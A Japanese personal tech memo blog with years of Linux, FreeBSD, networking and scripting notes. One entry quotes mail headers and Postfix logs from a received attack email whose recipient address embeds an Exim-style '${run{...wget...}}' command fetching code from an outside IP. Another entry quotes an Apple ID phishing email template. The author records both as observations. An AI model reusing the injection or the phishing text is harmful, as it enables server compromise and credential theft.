僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
をPlamoからDebianに変えた。今朝方の実験をもう一度やろうかとも 思ったが、ひと寝入してからにしよう。
更新。ようやく机上のクライアントたちを追加できた。
Web にアスキーアートを書くのもいいけど、
だらけになってきた。
なんとかしたいものだ。
ノートにmake installしただけ。
スクリプトに少し手を入れる。切り替わった後の
ルーティングテーブルの事を忘れていた。デフォルトルート
をルータに向ける。
また、sleep を入れた後、入れ替わった鯖からルータに
ping を一発飛ばしておいた。
これでルータ側がARPテーブルを更新してくれるかどうかは
良く分らないけど。
で、今度はできちゃった。のだ。AirHで外から覗くと、全く同じ
URLで、バックアップした古いページが見えた。
ただしDNSを引けなかったので、携帯にメールを打てなかった。
DNSサーバは他に任せた方がいいかも。
207.46.98.41 - - [20/Jun/2005:03:38:14 +0900] "GET /~kuzu/diary/update.rb HTTP/1.0" 401 431 "-" "msnbot/1.0 (+http://search.msn.com/msnbot.htm)"
数えてみると19日から既に5回来ている。
i686互換のVIAプロセッサ。これはcmovが入っている。
また最適化やってみたが、
こないだのSamuel2とは違い、
ちゃんと動くらしい。
$ cat /proc/cpuinfo processor : 0 vendor_id : CentaurHauls cpu family : 6 model : 9 model name : VIA Nehemiah stepping : 8 cpu MHz : 666.568 cache size : 64 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr sep mtrr \ pge cmov pat mmx fxsr sse xstore bogomips : 1330.38
しばしば proc のmountを忘れる。
これがないと不都合色々。
# umount -t proc proc /proc umount: proc: not mounted $ w3m http://www.example.com GC Warning: Couldn't read /proc/stat GC Warning: GC_get_nprocs() returned -1 Couldn't read /proc/self/stat アボートしました $ echo $? 134 $ screen Must be connected to a terminal. $ echo $? 1
落として、開いて、shして、止まって♪
sh setup.shやりかけでストップ。SSLなしは流石にまずそう。
CPANからNET_SSLeayを貰って入れてからwebminもインストール。
起動時から有効にするかインストーラに聞かれて"Yes"と答えた為か、
/etc/rc[2-5].d/の下にS99webminなんてのができていた。
もちろん/etc/init.d/webmin の ln -s だ。
PlamoもSYSV風なんだろなぁ。S99cupsなんてのもあったんだけど。
nmapで件のマシンをぶっ叩くと、
10000/tcp open snet-sensor-mgm
とかいうのが出た。ブラウザでhttps://host:10000に繋ぐ。
w3mでもちゃんとできた(こっちが先だけど)。
昨日に続いてWireless比較。同じWirelessLANで片方はLJ700内蔵のAR5212。
$ ping -c 50 GW-NS11S (ry --- GW-NS11S ping statistics --- 50 packets transmitted, 50 received, 0% packet loss, time 49039ms rtt min/avg/max/mdev = 2.291/3.417/49.096/6.534 ms   $ ping -c 50 AR5212 (ry --- AR5212 ping statistics --- 50 packets transmitted, 50 received, 0% packet loss, time 49045ms rtt min/avg/max/mdev = 0.987/1.335/4.508/0.641 ms
わからない。ともかくLJ700もkernel-2.6.21.5にする。madwifiとfuse とntfs-3gも、もう一度make install。
ここも今日まで、
最初っから1.8.4だった。
気づくのが遅かったが、慌てて上げまくる。まずは鯖から。
Server:/TDIARY_PATH$ grep -R "require.*cgi" * misc/plugin/tlink.rb: * code cleanup(remove require 'cgi', misc/plugin/weather.rb:require 'cgi' tdiary.rb:require 'cgi' theme/themebench.rhtml: require 'cgi'
キャッシュの効いてなさそうな日付にアクセスする。"Powered by Ruby version " の後ろ を確認して、一息。
$ grep "MSIE 6" $AGENT_LOG | wc -l 179 $ grep "MSIE 7" $AGENT_LOG | wc -l 54 $ grep "Firefox/2" $AGENT_LOG | wc -l 110 $ grep "Firefox/3" $AGENT_LOG | wc -l 148 $ grep "Opera" $AGENT_LOG | wc -l 12 $ grep "Safari" $AGENT_LOG | wc -l 9
昨日、既にIE7を抜いていた気がするが、よく覚えてない。
Plamo-4.6のカスタマイズ続く。
alsaconf で設定した後、alsamixer で色々やるが、そのとき
ONにしないと内蔵スピーカが鳴らない: "Master", "PCM"
OFF(Mute)にしないと鳴らない: "Headphone Jack Sense", "Line Jack Sense", "External Amplifier"
残り("Master Mono", "Headphone","Line","CD","Mic","Mic Boost","Mic Select",
"Phone", "Aux", "Mono Output Select", "Stereo Mic"はどっちでも鳴る。
二つのシーケンスの個別要素を、ディクショナリでくっつけてみる。
dic = {} estring = 'abcdefg' jstring = 'いろはにほへと' jlist = [x for x in jstring[::-1]] for x in estring: dic[x] = jlist.pop() print('"%s" というキーの値は "%s" です' % (x, dic[x]))
"a" というキーの値は "い" です "b" というキーの値は "ろ" です "c" というキーの値は "は" です "d" というキーの値は "に" です "e" というキーの値は "ほ" です "f" というキーの値は "へ" です "g" というキーの値は "と" です
>>> [chr(x) for x in range(65,123) if x < 91 or x > 96] ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
逆変換は、ord を使うらしい(ord('変')は 22793)。
3.x限定のようだけど(2.6 では"ValueError: chr() arg not in range(256)"
になった)
chr(12407) は、'ぷ'が返った。
「昨晩の予報」が朝には既に古く
感じられることがままある。
流石に気象庁にアクセスするため
だけに朝方PCを操作する気にも
ならない。
携帯にメールを投げてやることに
しよう。
#!/bin/sh URL='Kisyotyo' AD='MY_ACCOUNT' B_NUM="NUM" E_NUM="NUM" WCOLS="NUM" TITLE="`echo 天気予報|nkf -j`" wget -q -O - $URL | \ sed -n ${B_NUM},${E_NUM}p| \ sed s/pre/p/g | \ w3m -dump -T text/html -cols $WCOLS | \ nkf -j | \ mail -s $TITLE $AD
本気で表示をいじったら、
どこまでかかるか知れないので、
レンダリングは適当に。
適当な時刻に実行されるよう、
実行属性を付けて、crontab に
追記し、cron を再起動。
やっぱり old type か...
仕様のようだ。
> list1 = c(1:5) > list1 [1] 1 2 3 4 5 > length(list1) [1] 5 > list1[0] integer(0) > list1[2:4] [1] 2 3 4 > list1[4:6] [1] 4 5 NA > list1[-1:-5] integer(0) > list1[-3:0] [1] 4 5 > list1[0:-3] [1] 4 5
pythonとは違い、list[first:last:inc]といった 記法は受け付けないみたい。
たぶん、まだ扱ったことはない。
すべて仮想環境で確認。
16GB、32GBで試すと、Win10のdiskmgmt.mscでフォーマットしようとしても 候補に出なかった(NTFSとFAT32のみ)。 33GB以上が必要なようだ(こちらはNTFSとexFATのみ)。
Linux(ここではDebian)ではいまどきのNTFSサポート同様、
fuseでやる、らしい。
jessie で、apt-get install exfat-* -y する。/boot/initrd-*が
更新されたので、念の為再起動。
あとは sudo mount でファイルシステムを指定するまでもなく。
$ sudo mount /dev/sda1 /media/$MOUNTPOINT/ FUSE exfat 1.1.0 $ mount | grep $MOUNTPOINT /dev/sda1 on /media/$MOUNTPOINT type fuseblk \ (rw,nosuid,nodev,relatime,user_id=0, \ group_id=0,allow_other,blksize=4096) $ df -h | grep $MOUNTPOINT /dev/sda1 48G 6.5M 48G 1% /media/$MOUNTPOINT
Linux側で仮想ディスクをexFATにしてみる。こちらは32GB以下 でも(512MBなどでも)できた。fdisk でパーティションを作り、 t(パーティションタイプ 指定)で"7"にする。 "w"で保存終了してからfdisk -f exfat でOKだった。
$ sudo mkfs -t exfat /dev/sda1 mkexfatfs 1.1.0 Creating... done. Flushing... done. File system created successfully.
大文字小文字を区別しないのはLinux上でも同様。
マウントならWin10でもできた。フォーマットし直すときも
exFATは選択できた。
しかしながら一旦パーティションを削除すると、exFATでの
再フォーマットはできなかった。
長い日本語ファイルなどで他システムと相互変換すると 色々変なことになる予感。
$ uname -a FreeBSD raspberry-pi 11.0-ALPHA4 FreeBSD 11.0-ALPHA4 #0 \ r302023: Mon Jun 20 13:48:55 JST 2016 \ root@$CROSS:$WORKDIR/obj/arm.armv6/usr/pi/src/sys/RPI-B_MINE arm
久々にRaspberryPiのFreeBSD。
/etc/fstab の/tmpを50MBに書き換えて
pkg upgrade して/tmpを元に戻し、
pkg install tmux bash sudo。
には問題なかったが、
$ sudo true sudo: /usr/local/etc/sudo.conf, 0 行目 プラグイン sudoers_policy を\ ロード中にエラーが発生しました sudo: /usr/local/libexec/sudo/sudoers.so をロードできません: Shared \ object "libpam.so.5" not found, required by "sudoers.so" sudo: 致命的エラー、プラグインをロードできません
/usr/lib/libpam.so.6ならあった。のが敗因。例によって ln -s。
で問題なく動くようだ。
$ ldd /usr/local/libexec/sudo/sudoers.so /usr/local/libexec/sudo/sudoers.so: libbsm.so.3 => /usr/lib/libbsm.so.3 (0x2009e000) libutil.so.9 => /lib/libutil.so.9 (0x200c0000) libpam.so.5 => /usr/lib/libpam.so.5 (0x200d9000) libsudo_util.so.0 => /usr/local/libexec/sudo/libsudo_util.so.0 (0x20280000) libintl.so.8 => /usr/local/lib/libintl.so.8 (0x200ec000) libz.so.6 => /lib/libz.so.6 (0x2029a000) libc.so.7 => /lib/libc.so.7 (0x20100000)
チュートリアル見ながらYAMLで試行錯誤。
raspi: hosts: old_a: ansible_host: $IP_ADDR1 ansible_port: 22 ansible_user: pi main2: ansible_host: $IP_ADDR2 ansible_port: 22 ansible_user: pi
キーとフレーズを記憶しておく。
$ ssh-agent bash $ ssh-add ~/.ssh/$SSH_KEY Enter passphrase for $HOME/.ssh/$SSH_KEY: Identity added: $HOME/.ssh/$SSH_KEY ($USER@$HOST)
$ ansible raspi -i hosts -m ping
main2 | SUCCESS => {
"changed": false,
"ping": "pong"
}
old_a | SUCCESS => {
"changed": false,
"ping": "pong"
}
$ ansible raspi -i hosts -a "sudo /sbin/reboot" -f 10
main2 | UNREACHABLE! => {
"changed": false,
"msg": "Failed to connect to the host via ssh: Shared connection to $IP_ADDR2 closed.\r\n",
"unreachable": true
}
old_a | UNREACHABLE! => {
"changed": false,
"msg": "Failed to connect to the host via ssh: Shared connection to $IP_ADDR1 closed.\r\n",
"unreachable": true
}
Sylpheedで妙なのが。
件名 差出人 日付 (件名なし)(差出人不明)(日付なし) (件名なし)(差出人不明)(日付なし) (件名なし)(差出人不明)(日付なし)
メールは次のような内容だった。
Return-Path: <support@service.com> X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MY_DOMAIN Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MY_DOMAIN Received: from service.com (unknown [46.101.19.140]) by $MAIL_SERVER (Postfix) with SMTP id 79287360200; Thu, 20 Jun 2019 00:38:09 +0900 (JST) Authentication-Results: $MAIL_SERVER; dkim=permerror (bad message/signature format) Received: 1 Received: 2 Received: 3 . . . Received: 31
ついでにログも。
$ sudo grep 79287360200 /var/log/mail.log | sed 's/^.\{24\}//' postfix/smtpd[6458]: 79287360200: client=unknown[46.101.19.140] postfix/cleanup[6463]: 79287360200: message-id=<> opendkim[664]: 79287360200: can't determine message sender; accepting postfix/qmgr[815]: 79287360200: from=<support@service.com>, size=715, nrcpt=3 (queue active) postfix/virtual[6465]: 79287360200: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MYDOMAIN>, relay=virtual, delay=1.3, delays=1.3/0.01/0/0, dsn=2.0.0, status=sent (delivered to maildir) postfix/local[6464]: 79287360200: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@localhost>, relay=local, delay=1.4, delays=1.3/0.04/0/0.01, dsn=2.0.0, status=sent (forwarded as 8FA38360235) postfix/local[6464]: 79287360200: to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MAIL_SERVER>, relay=local, delay=1.4, delays=1.3/0.05/0/0, dsn=2.0.0, status=sent (forwarded as 926CF36026C) postfix/qmgr[815]: 79287360200: removed
メールサーバーのFQDNを こちらに投げてみた。
Connecting to SERVER_IPv4_ADDR 220 MAIL_SERVER ESMTP Postfix (Debian/GNU) [852 ms] EHLO keeper-us-east-1b.mxtoolbox.com 250-MAIL_SERVER 250-PIPELINING 250-SIZE 31457280 250-ETRN 250-STARTTLS 250-AUTH CRAM-MD5 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 SMTPUTF8 [788 ms] MAIL FROM:<supertool@mxtoolbox.com> 250 2.1.0 Ok [805 ms] RCPT TO:<test@mxtoolboxsmtpdiag.com> 454 4.7.1 <test@mxtoolboxsmtpdiag.com>: Relay access denied [786 ms] LookupServer 5122ms
こちらのログも。
$ sudo grep 11970 /var/log/mail.log | sed 's/^.\{24\}//' postfix/smtpd[11970]: connect from keeper-us-east-1b.mxtoolbox.com[52.55.244.91] postfix/smtpd[11970]: NOQUEUE: reject: RCPT from keeper-us-east-1b.mxtoolbox.com[52.55.244.91]: 454 4.7.1 <test@mxtoolboxsmtpdiag.com>: Relay access denied; from=<supertool@mxtoolbox.com> to=<test@mxtoolboxsmtpdiag.com> proto=ESMTP helo=<keeper-us-east-1b.mxtoolbox.com> postfix/smtpd[11970]: disconnect from keeper-us-east-1b.mxtoolbox.com[52.55.244.91] ehlo=1 mail=1 rcpt=0/1 quit=1 commands=3/4
ちょっと新バージョンらしいのでTwitter以外にも。
from: appleto: {{mail_to}} subject: __0常__*__-__0__$__3__&_F___$__%__$ date: {{date}} user-agent: mozilla/5.0 (windows nt 6.1; wow64; rv:45.0) gecko/20100101 thunderbird/45.2.0 apple idについての重要なお知らせ 普段お客様がご利用になられていない環境からappleへのログインが ありました,異常は発生しますので、お客様のアカウントをチェック してください。 apple id:********* ログイン日時 : 2020/6/18 23:1{{digit}}:2{{digit}} ipアドレス : 1{{digit}}.20{{digit}}.1{{digit}}.32(奈良)
リンク先が複数あったが、一つを除くとhttps://(hogehoge).apple[.]comのようだ。
で、唯一の変なURL(httpsでなかった)にアクセスすると ブラウザの警告が出た。
Google Chromeで、シークレットモードで試すと、
例の通りに撮れた(
現時点での本物と、ほとんど同じだった)が、
普通のモードでは
警告画面になった。
もう一度シークレットモードにしたが、今度はこちらも警告画面になった。
Androidではスクリーンショットが撮れない。検索して、説明と違うメニュー
とにらめっこして設定をひとしきり
いじったが、無駄だった。
強引そうなアプリのインストールは遠慮する。
CDのリッピング。
まずセルフパワーのUSBハブ。
アクセスしても読み出せない様子。
の、
長いグラフ。
iostatで300秒ほどを撮り、rkB/sをグラフにしてみた。
途中の隙間が、次の曲、のはず。
MicroSDからSDDへrsync、も撮ろうとしたが、速すぎたか、それとも データが少なすぎたか、ともかく数秒でおしまい。
こないだデータだけ撮って放置していたiostatをいくつか
グラフにしてみた。
rkB/wkBと
utilの他、
r_awaitとw_awaitとか、
rareq-szとwareq-szとかで、なんとなく、ハードウェアの
特性を垣間見た、気がした。
今日はこれくらい。
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。